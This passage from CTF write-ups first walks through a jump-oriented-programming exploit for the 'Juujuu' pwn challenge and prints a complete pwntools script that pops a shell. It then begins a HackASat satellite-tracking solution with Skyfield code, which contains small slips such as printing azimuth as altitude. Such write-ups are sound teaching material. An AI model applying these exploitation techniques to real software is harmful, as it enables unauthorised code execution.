<p>First thing we need is a way to change the value of <code class="language-plaintext highlighter-rouge">rax</code>. We can do <code class="language-plaintext highlighter-rouge">objdump -M intel -D juujuu | less</code> to be able to analyze the binary comfortably. From here, we can highligh all mentions to <code class="language-plaintext highlighter-rouge">rax</code> by searching in objdump. These are the instructions that modify rax:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>4000b0: 48 31 c0 xor rax,rax
(...)
4000d5: 48 31 c0 xor rax,rax
(...)
4000de: 48 ff c0 inc rax
(...)
400108: 48 83 c0 12 add rax,0x12
(...)
400112: 48 31 c0 xor rax,rax
</code></pre></div></div>
<p>Three of these are <code class="language-plaintext highlighter-rouge">xor rax, rax</code>. We can cross those three out of the list since all that does is zero <code class="language-plaintext highlighter-rouge">rax</code>. We are left with two options: <code class="language-plaintext highlighter-rouge">inc rax</code> (what a pain!) and <code class="language-plaintext highlighter-rouge">add rax, 0x12</code>.</p>
<p>Since <code class="language-plaintext highlighter-rouge">59 % 0x12 != 0</code> we’ll have to combine both instructions to be able to get <code class="language-plaintext highlighter-rouge">rax</code> to be 59. We’ll have to loop through <code class="language-plaintext highlighter-rouge">add rax, 0x12</code> three times and through <code class="language-plaintext highlighter-rouge">inc rax</code> five times to get our 59 there. Considering we need 8 bytes for every jmp and that we need two jmps for each one of the loops (one for the loop and one to jump back to the dispatcher), we’ll need a payload of at least <code class="language-plaintext highlighter-rouge">(8 * 2) * 3 * 5 = 0xf0</code> only to be able to set rax to 59. We only had <code class="language-plaintext highlighter-rouge">0x40</code> bytes for our starting payload size, so we will have to pivot our stack to be able to achieve our goal of <code class="language-plaintext highlighter-rouge">execve("/bin/sh")</code>. Our first goal now switches from setting <code class="language-plaintext highlighter-rouge">rax</code> to 59 to pivoting our stack to have more space. This gadget makes it easy:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 400131: 48 81 ec 00 01 00 00 sub rsp,0x100
400138: ff 21 jmp QWORD PTR [rcx]
</code></pre></div></div>
<p>It will simply throw our stack back to the <code class="language-plaintext highlighter-rouge">0x100</code> byte buffer of the <code class="language-plaintext highlighter-rouge">read</code> syscall in our main function, so we’ll be able to use that space for our payload as well.</p>
<p>If we take a look at the gadgets in the binary, most of them jmp back to a dereference of a register instead of the actual value in the register, so on top of pivoting our stack with <code class="language-plaintext highlighter-rouge">sub rsp, 0x100</code> we will need a stack leak to be able to jop more comfortably.</p>
<p>After thoroughly analyzing our binary, we identify a potential stack leak:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4000d4: 54 push rsp
4000d5: 48 31 c0 xor rax,rax
4000d8: 48 31 ff xor rdi,rdi
4000db: 48 ff c7 inc rdi
4000de: 48 ff c0 inc rax
4000e1: 48 89 e6 mov rsi,rsp
4000e4: 59 pop rcx
4000e5: 9b fwait
4000e6: 90 nop
4000e7: 48 ff c2 inc rdx
4000ea: ff 21 jmp QWORD PTR [rcx]
(...)
4000fc: ba 08 00 00 00 mov edx,0x8
400101: 0f 05 syscall
400103: 4c 89 d1 mov rcx,r10
400106: ff 21 jmp QWORD PTR [rcx]
</code></pre></div></div>
<p>What this first gadget will do is set the necessary registers for a perfect <code class="language-plaintext highlighter-rouge">write</code> syscall:<code class="language-plaintext highlighter-rouge">rax = 1, rdi =1 (stdout)</code>. After that we only need to set <code class="language-plaintext highlighter-rouge">rdx</code> to the amount of bytes we want to write which is 0x8 since we only want to leak the stack address and we’re ready to do the syscall, and the second gadget provides this perfectly. The first gadget will push the current stack address, set all the registers for the syscall, and then pop the previously pushed <code class="language-plaintext highlighter-rouge">rsp</code> into <code class="language-plaintext highlighter-rouge">rcx</code>, to then jump to <code class="language-plaintext highlighter-rouge">[rcx]</code>. This means this gadget will jump back to whatever we put after it in our payload, because that will end up on top of the stack, then its address would be pushed, and then <code class="language-plaintext highlighter-rouge">jmp [rcx]</code> would jump back to it. The second gadget also ends with a <code class="language-plaintext highlighter-rouge">jmp [rcx]</code> but there’s a <code class="language-plaintext highlighter-rouge">mov rcx, r10</code> before the jmp so we will need to set <code class="language-plaintext highlighter-rouge">r10</code> to whatever we want to jump back to afterwards. These two gadgets will help us here:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4000cf: 48 89 cd mov rbp,rcx
4000d2: ff 21 jmp QWORD PTR [rcx]
(...)
4000ec: 49 89 ea mov r10,rbp
4000ef: ff 21 jmp QWORD PTR [rcx]
</code></pre></div></div>
<p>We can use these to set <code class="language-plaintext highlighter-rouge">r10</code> to what our <code class="language-plaintext highlighter-rouge">rcx</code> was, allowing us to jump back to our dispatcher after executing our write syscall. From the dispatcher we jump to our stack pivot gadget (<code class="language-plaintext highlighter-rouge">sub rsp, 0x100</code>), and in the beginning of our payload we can put our main function address (<code class="language-plaintext highlighter-rouge">entry0</code>) to maintain control over the program’s execution flow with another call to read to be able to introduce our next payload.</p>
<p>Now that we have our stack leak figured out we can move back to our most important goal.
We now have virtually unlimited space for our payload so we can just go for our loop plan from before to set our desired <code class="language-plaintext highlighter-rouge">rax</code>. We can use our stack leak to calculate distances for our deref jumps (<code class="language-plaintext highlighter-rouge">[reg]</code>) and also to skip writing a “/bin/sh” to memory and just have it on the stack.</p>
<p>We have to play a little with different gadgets to sort out some difficulties along the way, but in the end we manage to set the registers properly and get a shell. This is how the final exploit looks:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'DEBUG'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./juujuu"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug("./juujuu", "b *0x4000b0")
</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mi">56</span>
<span class="c1"># Addresses
</span><span class="n">dispatcher_gadget</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000c7</span><span class="p">)</span>
<span class="n">main_start</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000b0</span><span class="p">)</span>
<span class="n">syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000c5</span><span class="p">)</span>
<span class="n">p1stackleak</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000d4</span><span class="p">)</span>
<span class="n">p2stackleak</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000fc</span><span class="p">)</span>
<span class="n">mov_rbp_rcx_jmp_rcx</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000cf</span><span class="p">)</span>
<span class="n">mov_r10_rbp_jmp_rcx</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000ec</span><span class="p">)</span>
<span class="n">xors_pop_rbp_jmp_rbp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40010f</span><span class="p">)</span>
<span class="n">sub_rsp_jmp_rcx</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400131</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">+=</span> <span class="n">main_start</span>
<span class="n">junk</span> <span class="o">=</span> <span class="n">junk</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">256</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>
<span class="c1"># First jump chain - Stack leak
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">junk</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p1stackleak</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">mov_rbp_rcx_jmp_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">mov_r10_rbp_jmp_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p2stackleak</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">sub_rsp_jmp_rcx</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>
<span class="n">stack</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Leaked stack address: {}</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack</span><span class="p">)))</span>
<span class="n">bufstart</span> <span class="o">=</span> <span class="n">stack</span> <span class="o">-</span> <span class="mh">0x1c8</span>
<span class="c1"># 2nd set of gadgets
</span><span class="n">add_rax</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400108</span><span class="p">)</span>
<span class="n">inc_rax_pop_rcx</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000de</span><span class="p">)</span>
<span class="n">pop_rdi_jmp_rbp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400125</span><span class="p">)</span>
<span class="n">second_dispatcher</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400129</span><span class="p">)</span>
<span class="n">pop_rbp_jmp_rbp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400121</span><span class="p">)</span>
<span class="n">movrsprsp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40013a</span><span class="p">)</span>
<span class="n">pop_rcx_jmp_rcx</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000e4</span><span class="p">)</span>
<span class="n">small_xor</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40011b</span><span class="p">)</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">stack</span> <span class="o">-</span> <span class="mh">0xc8</span> <span class="o">-</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">second_dispatcher_in_stack</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">stack</span> <span class="o">-</span> <span class="mh">0xc8</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span>
<span class="n">new_dispatcher_gadget</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="n">stack</span> <span class="o">-</span> <span class="mh">0xc8</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">pop_rcx_jmp_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">xors_pop_rbp_jmp_rbp</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">pop_rcx_jmp_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">add_rax</span><span class="o">*</span><span class="mi">3</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">inc_rax_pop_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">inc_rax_pop_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">inc_rax_pop_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">inc_rax_pop_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">inc_rax_pop_rcx</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">new_dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">small_xor</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">second_dispatcher_in_stack</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">pop_rdi_jmp_rbp</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">binsh</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">syscall</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0xf0</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">second_dispatcher</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">dispatcher_gadget</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">movrsprsp</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bufstart</span><span class="p">)</span>
<span class="c1">#print(payload)
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Once again thanks to <a href="https://dplastico.me/">dplastico</a>, this would not have been possible without his help. He made a writeup for this challenge as well! It’s in spanish and you can check it out <a href="https://dplastico.me/writeup-juujuu-pwnday01-soluciones/">here</a>.</p>
<p>I hope the challenge and write up were enjoyable, if you have any questions don’t hesitate to contact me on any of my socials.</p>c4eSome time ago dplastico and I hosted an event called PWNDAY#01 in which people had to solve 3 binary exploitation challenges (Easy - Medium - Pro) with the opportunity to win a series of different prizes. This is the write up for the Pro category challenge Juujuu. It was the first challenge I created and it was the initial push for the PWNDAY idea.HackASat2020 Quals Writeups2020-05-24T00:00:00-04:002020-05-24T00:00:00-04:00c4ebt.github.io/2020/05/24/HackASat2020Quals-Writeups<h4 id="about-hackasat">About Hackasat</h4>
<p>Hackasat2020 Quals was a ctf that took place on the weekend of May 23rd. I wasn’t planning on doing it but then a buddy from the CTF team <a href="https://twitter.com/cntr0llz">Cntr0llz</a> invited me to participate with them (thanks :D!).</p>
<p>Its challenges were space-themed, which means the tasks we had to perform were related to problems scientists or astronauts may face. Because no one had any experience solving space related problems or anything on that line every challenge involved hours of research, testing and learning. Even though the two challenges I solved were in the “easy tier” in the ctf, they were still medium/hard-ish related to anything I had done in other competitions. Anyway, here are the writeups for <strong>Track the Sat</strong> and <strong>Where’s the Sat?</strong></p>
<h2 id="track-the-sat">Track the Sat</h2>
<h4 id="challenge-description-youre-in-charge-of-controlling-our-hobbiest-antenna-the-antenna-is-controlled-by-two-servos-one-for-azimuth-and-the-other-for-elevation-included-is-an-example-file-from-a-previous-control-pattern-track-the-satellite-requested-so-we-can-see-what-it-is-broadcasting">Challenge description: “You’re in charge of controlling our hobbiest antenna. The antenna is controlled by two servos, one for azimuth and the other for elevation. Included is an example file from a previous control pattern. Track the satellite requested so we can see what it is broadcasting”</h4>
<p>It also gives us a compressed examples file, which we can use to figure out what our answer needs to have. It contains challenge examples, their solutions, a list of Two-Line-Element-Sets (TLEs) and a <code class="language-plaintext highlighter-rouge">README.txt </code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Track-a-sat
===========
We have obtained access to the control system for a groundstation's satellite antenna. The azimuth and elevation motors are controlled by PWM signals from the controller. Given a satellite and the groundstation's location and time, we need to control the antenna to track the satellite. The motors accept duty cycles between 2457 and 7372, from 0 to 180 degrees.
Some example control input logs were found on the system. They may be helpful to you to try to reproduce before you take control of the antenna. They seem to be in the format you need to provide. We also obtained a copy of the TLEs in use at this groundstation.
</code></pre></div></div>
<p>The biggest reason I struggled in this challenge was because most of the concepts I needed to apply were completely unknown to me (I had no idea what PWM signals or azimuth or a duty cycle was), so I had to research a lot about them in order to understand them.</p>
<p>When we connect to the challenge using netcat it asks for our ticket and then gives us this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Track-a-sat control system
Latitude: 33.4487
Longitude: -94.0815
Satellite: ORBCOMM FM19
Start time GMT: 1586598368.85645
720 observations, one every 1 second
Waiting for your solution followed by a blank line...
</code></pre></div></div>
<p>It seems we are given a position for our groundstation antenna, a satellite name and a start time in a format that we later realize is a UNIX timestamp. After a lot of research we realize that we can track a satellite’s position based on a certain time + its orbit, which is determined by its respective TLE, and all that can be calculated using a python library called <a href="https://rhodesmill.org/skyfield/"><strong>Skyfield</strong></a>. So we need to calculate the position the satellite is at for every second in the 720-second range the challenge asks us for, starting with the given UNIX timestamp. But how does this position translate to the answer we need to give? This was were I struggled the most during the challenge. Looking at the sample solutions, it seems we have to give the challenge the timestamp, followed by two <em>duty cycles</em> that relate to the azimuth and elevation of the satellite position. Research time!</p>
<p><strong>Azimuth:</strong> “An azimuth is an angular measurement in a spherical coordinate system. The vector from an observer to a point of interest is projected perpendicularly onto a reference plane; the angle between the projected vector and a reference vector on the reference plane is called the azimuth.”</p>
<p>Turns out it’s simply a measurement system used to determine the relative position of a celestial object (or our satellite) in relation to an observer (or our groundstation antenna). The following image explains it accurately:</p>
<p><img src="https://c4ebt.github.io/assets/images/content/hackasat/azimuth.png" alt="" /></p>
<p>So we have to calculate the satellite’s azimuth coordinates and somehow translate them to a duty cycle. Lets first get started with our script to calculate the satellite’s azimuth coordinates.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">skyfield.api</span> <span class="kn">import</span> <span class="n">EarthSatellite</span><span class="p">,</span> <span class="n">Topos</span><span class="p">,</span> <span class="n">load</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="c1"># TLE of our satellite (ORBCOMM FM19) found in the TLEs list (active.txt)
# We need it to generate a satellite object to determine its orbit
# and positions through time.
</span><span class="n">line1</span> <span class="o">=</span> <span class="s">"1 25415U 98046C 20101.06884309 .00000044 00000-0 67064-4 0 9991"</span>
<span class="n">line2</span> <span class="o">=</span> <span class="s">"2 25415 44.9954 106.6270 0002985 215.4438 186.6131 14.32949120132262"</span>
<span class="n">satellite</span> <span class="o">=</span> <span class="n">EarthSatellite</span><span class="p">(</span><span class="n">line1</span><span class="p">,</span> <span class="n">line2</span><span class="p">)</span>
<span class="c1"># We have to convert the given timestamp to calendar format to be
# able to use it with the skyfield library
# (there are probably easier ways to do it, this is how I automated it)
</span><span class="n">timestamp</span> <span class="o">=</span> <span class="mf">1586598368.85645</span>
<span class="n">everything</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="n">utcfromtimestamp</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)).</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
<span class="n">year</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">month</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">day</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">"-"</span><span class="p">)[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">hour</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">minute</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">second</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="n">everything</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">)[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">ts</span> <span class="o">=</span> <span class="n">load</span><span class="p">.</span><span class="n">timescale</span><span class="p">()</span>
<span class="n">t</span> <span class="o">=</span> <span class="n">ts</span><span class="p">.</span><span class="n">utc</span><span class="p">(</span><span class="n">year</span><span class="p">,</span> <span class="n">month</span><span class="p">,</span> <span class="n">day</span><span class="p">,</span> <span class="n">hour</span><span class="p">,</span> <span class="n">minute</span><span class="p">,</span> <span class="n">second</span><span class="p">)</span>
<span class="c1"># We have our satellite and our time ready to be combined
# The azimuth coordinates are determined from an observer reference frame,
# so we have to create an object to represent our observer.
# For that we enter a topocentric view by subtracting our satellite
# object with a topocentric object that represents our groundstation.
</span>
<span class="n">groundstation</span> <span class="o">=</span> <span class="n">Topos</span><span class="p">(</span><span class="s">'33.4487 N'</span><span class="p">,</span> <span class="s">'94.0815 W'</span><span class="p">)</span> <span class="c1"># These are the coordinates given
</span> <span class="c1"># to us in the challenge
</span>
<span class="n">difference</span> <span class="o">=</span> <span class="n">satellite</span> <span class="o">-</span> <span class="n">groundstation</span>
<span class="n">topocentric</span> <span class="o">=</span> <span class="n">difference</span><span class="p">.</span><span class="n">at</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>
<span class="c1"># Now we can finally get the azimuth coordinates of this topocentric object
# that represents the satellite position relative to our groundstation
# at a time t
</span>
<span class="n">alt</span><span class="p">,</span> <span class="n">az</span><span class="p">,</span> <span class="n">distance</span> <span class="o">=</span> <span class="n">topocentric</span><span class="p">.</span><span class="n">altaz</span><span class="p">()</span>
<span class="n">azimuth</span> <span class="o">=</span> <span class="n">az</span><span class="p">.</span><span class="n">degrees</span>
<span class="n">altitude</span> <span class="o">=</span> <span class="n">alt</span><span class="p">.</span><span class="n">degrees</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[Obj->Sat] Azimuth: (deg) "</span> <span class="o">+</span> <span class="n">azimuth</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[Obj->Sat] Altitude: (deg) "</span> <span class="o">+</span> <span class="n">azimuth</span><span class="p">)</span>
</code></pre></div></div>
<p>Running it, we get</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Obj->Sat] Azimuth: (deg) 296.059121239
[Obj->Sat] Altitude: (deg) 0.313248381751
</code></pre></div></div>
<p>The first part of our script is ready, we can calculate the azimuth coordinates of our satellite successfully. Now we have to figure out how to convert this coordinates to the actual <em>duty cycles</em> the antenna requires.
After some thinking and reviewing the challenge instructions, we realize that we can convert the azimuth degree to a value between 0 and 180: north (usually 0°) and south (usually 180°) will both be 0°, and then grow clock-wise to 180°. After some more thinking we also realize that to convert this degree to a duty cycle value we can simply use the rule of 3. With 180° being our 100% (7273) and 0° being our 0% (2457), we can subtract those values to be able to apply the rule. We end up with the following math:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="n">azimuth</span> <span class="o">></span> <span class="mi">180</span><span class="p">:</span> <span class="c1"># Reset to 0° when "reaching" South
</span> <span class="n">first</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="n">azimuth</span> <span class="o">-</span> <span class="mi">180</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="c1"># | | |
# Degrees starting from South as 0° | |
# Conversion to apply rule of 3 _________________| |
# Convert back to duty cycles value range _________________________|
</span> <span class="k">else</span><span class="p">:</span> <span class="c1"># No changes in initial degree value since it didn't "reach" South
</span> <span class="n">first</span> <span class="o">=</span> <span class="nb">int</span><span class="p">((((</span><span class="n">azimuth</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="mi">7372</span> <span class="o">-</span> <span class="mi">2457</span><span class="p">))</span> <span class="o">/</span> <span class="mi">180</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2457</span><span class="p">)</span>
<span class="c1"># | | |
# Initial degree value ____| | |
# Conversion to apply rule of 3 ________| |
# Convert back to duty cycles value range _________________|
</span></code></pre></div></div>
<p>With this we have the first two parts of what our answer should be figured out: the timestamps and the azimuth converted to duty cycles. We can test if our calculations are ok by running them with the information from the satellites in the given solutions and comparing.</p>
<p>The last number seems to act in a weird way. It doesn’t seem to relate to the azimuth coordinates’ altitude degrees in the same way the azimuth degrees relate to the first number. Looking at some of the solution samples we can see that there are points where the first duty cycle value goes from 2457 to 727x, which means that the azimuth degrees reached 0° or, in other words, South, and jumped to 180°, which makes complete sense. Now, what is weird here is that when the first duty cycle value makes the jump, the second one does too. This does not seem logical since the altitude is a completely independent variable from the azimuth degrees. Or at least that’s what I thought at first.</p>
<p>It is still odd to me that the duty cycles were calculated this way, but I will try to do my best to explain it with words (sorry, there’s just no way I’m designing a 3d model to explain this :/).</p>
<p><img src="https://c4ebt.github.io/assets/images/content/hackasat/explanation.gif" alt="" /></p>
<p>The azimuth elevation is normally an angle between 0 and 180, 0 - 90 meaning it is below the horizon and 90 - 180 meaning it is above the horizon. In the picture above we can see the elevation angle is of about 45° above the horizon, or 135° (90 + 45).
Running our script with the sample satellites given to us in the challenge we can see that the elevation values always go from 0° to 90°, so we can assume that the satellites’ elevation was measured starting with the horizon and going up from there, not needing a range of 180° but only of 90°.
Now, the weird behavior in the solution samples happen when the azimuth of the satellite reaches South or, in other words, goes to the West side of our plane. The elevation duty cycle jumps together with the azimuth duty cycle, so there must be some relation between them (which in reality is not logical). After a lot of thinking I realized that the elevation angle was being measured from the point respective to the current azimuth degree of the satellite, but <strong>always from the East side of our plane</strong>. This means that when the satellite’s azimuth was 179° in the East side of the plane the altitude would be measured as it usually is, not causing any weird behavior or weird duty cycle jumps, but when it crossed to the West side of the plane, the azimuth would jump to 0°, and the <strong>elevation would be calculated from the 0° point but on the East side instead of the West side of the plane, going all the way up to the zenith and then down to the actual position of the satellite</strong>. This might be hard to understand without having a look at it graphically, try to imagine it (I’m sorry I can’t provide you with graphical reference for this idea).</p>
<p>This theory would explain the jumps and weird behavior in the elevation duty cycles related to the azimuth of the satellite. After testing it with the sample solutions we realize that’s how it was being calculated. Now that we figured out the three values necessary for our solution to the challenge, we can just build a for loop to go through all the timestamps we need to present as a solution and then get pwntools in the game to interact with the remote instance of the challenge (we could also do this manually, but here’s the pwntools implementation anyway :D). The final script for the solution looks like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
# -*- coding: utf-8 -*-
</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">skyfield.api</span> <span class="kn">import</span> <span class="n">EarthSatellite</span><span class="p">,</span> <span class="n">Topos</span><span class="p">,</span> <span class="n">load</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">sleep</span> <span class="c1"># Just to make analyzing during runtime easier
</span>
<span class="n">final</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">ticket</span> <span class="o">=</span> <span class="s">"REDACTED TICKET"</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"trackthesat.satellitesabove.me"</span><span class="p">,</span> <span class="mi">5031</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"please:"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">ticket</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"line..."</span><span class="p">)</span>
<span class="n">line1</span> <span class="o">=</span> <span class="s">"1 25415U 98046C 20101.06884309 .00000044 00000-0 67064-4 0 9991"</span>
<span class="n">line2</span> <span class="o">=</span> <span class="s">"2 25415 44.9954 106.6270 0002985 215.4438 186.6131 14.32949120132262"</span>
<span class="n">groundstation</span> <span class="o">=</span> <span class="n">Topos</span><span class="p">(</span><span class="s">'33.4487 N'</span><span class="p">,</span> <span class="s">'94.0815 W'</span><span class="p">)</span>
